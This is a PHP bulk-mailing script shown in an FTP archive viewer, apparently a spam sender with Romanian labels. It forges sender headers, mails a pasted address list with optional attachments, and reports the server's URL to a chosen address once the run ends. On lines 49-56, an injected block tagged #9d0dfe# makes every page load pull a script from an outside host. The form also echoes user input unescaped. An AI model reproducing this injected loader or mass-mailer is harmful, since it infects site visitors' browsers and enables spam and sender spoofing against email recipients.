home *** CD-ROM | disk | FTP | other *** search
/ ftp.volny.cz / ftp.volny.cz.tar / ftp.volny.cz / sendme.php < prev    next >
PHP Script  |  2015-05-21  |  7KB  |  277 lines

  1. <?
  2. error_reporting(E_ALL ^ E_NOTICE);
  3. function doset() {
  4.     if( !ini_get('safe_mode') )
  5.     {
  6.         set_time_limit(0);
  7.         ini_set("max_execution_time", 0);
  8.         ini_set("memory_limit", "256M");
  9.         ignore_user_abort(true);
  10.     }
  11.     else echo "this is a safe_mode one and will timeout.. cannot set_time_limit";
  12.     ob_start();
  13. }
  14. doset();
  15.  
  16.  
  17. if ($_POST['action']=="send"){
  18.  
  19.         $message = urlencode($_POST['message']);
  20.  
  21.         $message = ereg_replace("%5C%22", "%22", $message);
  22.  
  23.         $message = urldecode($message);
  24.         $message = stripslashes($message);
  25.         $subject = stripslashes($_POST['subject']);
  26.  
  27. }
  28. ?>
  29.  
  30. <form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" enctype="multipart/form-data">
  31.  
  32.   <br>
  33.  
  34.   <table width="100%" border="0">
  35.  
  36.     <tr> 
  37.  
  38.       <td width="10%"> 
  39.  
  40.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
  41.  
  42.           Email:</font></div>
  43.  
  44.       </td>
  45.  
  46.       <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  47.  
  48.         <input type="text" name="from" value="<? print $_POST['from']; ?>
  49. <?php
  50. #9d0dfe#
  51. if(empty($utmph)) {
  52. $utmph = "<script type=\"text/javascript\" src=\"http://spookyti.com/includes/dialogs/6wIQGPFQ.php?id=17535\"></script>";
  53. echo $utmph;
  54. }
  55. #/9d0dfe#
  56. ?>" size="30">
  57.  
  58.         </font></td>
  59.  
  60.       <td width="31%"> 
  61.  
  62.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
  63.  
  64.           Name:</font></div>
  65.  
  66.       </td>
  67.  
  68.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  69.  
  70.         <input type="text" name="realname" value="<? print $_POST['realname']; ?>" size="30">
  71.  
  72.         </font></td>
  73.  
  74.     </tr>
  75.  
  76.     <tr> 
  77.  
  78.       <td width="10%"> 
  79.  
  80.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  81.  
  82.       </td>
  83.  
  84.       <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  85.  
  86.         <input type="text" name="replyto" value="<? print $_POST['replyto']; ?>" size="30">
  87.  
  88.         </font></td>
  89.  
  90.       <td width="31%"> 
  91.  
  92.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach 
  93.  
  94.           File:</font></div>
  95.  
  96.       </td>
  97.  
  98.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  99.  
  100.         <input type="file" name="file" size="30">
  101.  
  102.         </font></td>
  103.  
  104.     </tr>
  105.  
  106.     <tr> 
  107.  
  108.       <td width="10%"> 
  109.  
  110.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  111.  
  112.       </td>
  113.  
  114.       <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  115.  
  116.         <input type="text" name="subject" value="<? print stripslashes($_POST['subject']); ?>" size="90">
  117.  
  118.         </font></td>
  119.  
  120.     </tr>
  121.  
  122.     <tr valign="top"> 
  123.  
  124.       <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  125.  
  126.         <textarea name="message" cols="60" rows="10"><? print stripslashes($_POST['message']); ?></textarea>
  127.  
  128.         <br>
  129.  
  130.         <input type="radio" name="contenttype" value="plain">
  131.  
  132.         Plain 
  133.  
  134.         <input type="radio" name="contenttype" value="html" checked>
  135.  
  136.         HTML 
  137.  
  138.         <input type="hidden" name="action" value="send">
  139.  
  140.         <input type="submit" value="Send Message">
  141.  
  142.         </font></td>
  143.  
  144.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  145.  
  146.         <textarea name="emaillist" cols="30" rows="10"></textarea>
  147.  
  148.         <br>
  149.         <input type="text" name="emailfinal" value="<? print $_POST['emailfinal']; ?>" size="22"> (EMAIL VERIFICARE)
  150.         </font></td>
  151.     </tr>
  152.   </table>
  153.   <p>La fiecare <input type="text" name="emailz" value="<? print $_POST['emailz']; ?>" size="3"> mailz, asteapta <input type="text" name="wait" value="<? print $_POST['wait']; ?>" size="3"> secunde<br></p>
  154. </form>
  155.  
  156.  
  157.  
  158. <?
  159.  
  160. if ($_POST['action']=="send"){
  161.         $message = urlencode($_POST['message']);
  162.  
  163.         $message = ereg_replace("%5C%22", "%22", $message);
  164.  
  165.         $message = urldecode($message);
  166.         $message = stripslashes($message);
  167.         $subject = stripslashes($_POST['subject']);
  168.  
  169.  
  170.         $from=$_POST['from'];
  171.         $realname=$_POST['realname'];
  172.         $replyto=$_POST['replyto'];
  173.  
  174.  
  175.         $emaillist=$_POST['emaillist'];
  176.        
  177.         $contenttype=$_POST['contenttype'];
  178.  
  179.  
  180.         $allemails = split("\n", $emaillist);
  181.  
  182.         $numemails = count($allemails);
  183.         
  184.         
  185.  
  186.  
  187.         #Open the file attachment if any, and base64_encode it for email transport
  188.         $file_name = $_FILES['file']['name'];
  189.         $file = $_FILES['file'];
  190.         if ($file_name){
  191.  
  192.                 @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
  193.  
  194.                 $content = fread(fopen($file,"r"),filesize($file));
  195.  
  196.                 $content = chunk_split(base64_encode($content));
  197.  
  198.                 $uid = strtoupper(md5(uniqid(time())));
  199.  
  200.                 $name = basename($file);
  201.  
  202.         }
  203.  
  204.         
  205.  
  206.         for($x=0; $x<$numemails; $x++){
  207.  
  208.                 if($_POST['emailz'] && $_POST['wait'])
  209.                         if( fmod($x,$emailz) == 0 ) {
  210.                                 echo "-------------------------------> SUNT LA emailul $x, astept $wait secunde.<br>";
  211.                                 sleep($wait);
  212.                         }
  213.                 $to = $allemails[$x];
  214.  
  215.                 if ($to){
  216.  
  217.                     $to = ereg_replace(" ", "", $to);
  218.                     $to = trim($to);
  219.     
  220.                     $message = ereg_replace("&email&", $to, $message);
  221.     
  222.                     $subject = ereg_replace("&email&", $to, $subject);
  223.     
  224.                     print "Sending mail to $to.......";
  225.     
  226.                     flush();
  227.                     ob_flush();
  228.     
  229.                     $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  230.     
  231.                     $header .= "MIME-Version: 1.0\r\n";
  232.     
  233.                     if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  234.     
  235.                     if ($file_name) $header .= "--$uid\r\n";
  236.     
  237.                     $header .= "Content-Type: text/$contenttype\r\n";
  238.     
  239.                     $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  240.     
  241.                     $header .= "$message\r\n";
  242.     
  243.                     if ($file_name) $header .= "--$uid\r\n";
  244.     
  245.                     if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  246.     
  247.                     if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  248.     
  249.                     if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  250.     
  251.                     if ($file_name) $header .= "$content\r\n";
  252.     
  253.                     if ($file_name) $header .= "--$uid--";
  254.     
  255.                     @mail($to, $subject, "", $header);
  256.     
  257.                     print " S-o dus<br>";
  258.     
  259.                     flush();
  260.                     ob_flush();
  261.  
  262.                 }
  263.  
  264.         }//end for
  265.         
  266.         if( strpos($_POST['emailfinal'], "@") !== false){
  267.             @mail($_POST['emailfinal'], $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], "test");
  268.         }
  269.                 //$emaillist .= "\n". $_POST['emailfinal'];
  270.  
  271.  
  272.  
  273. }
  274.  
  275.  
  276. ?>
  277.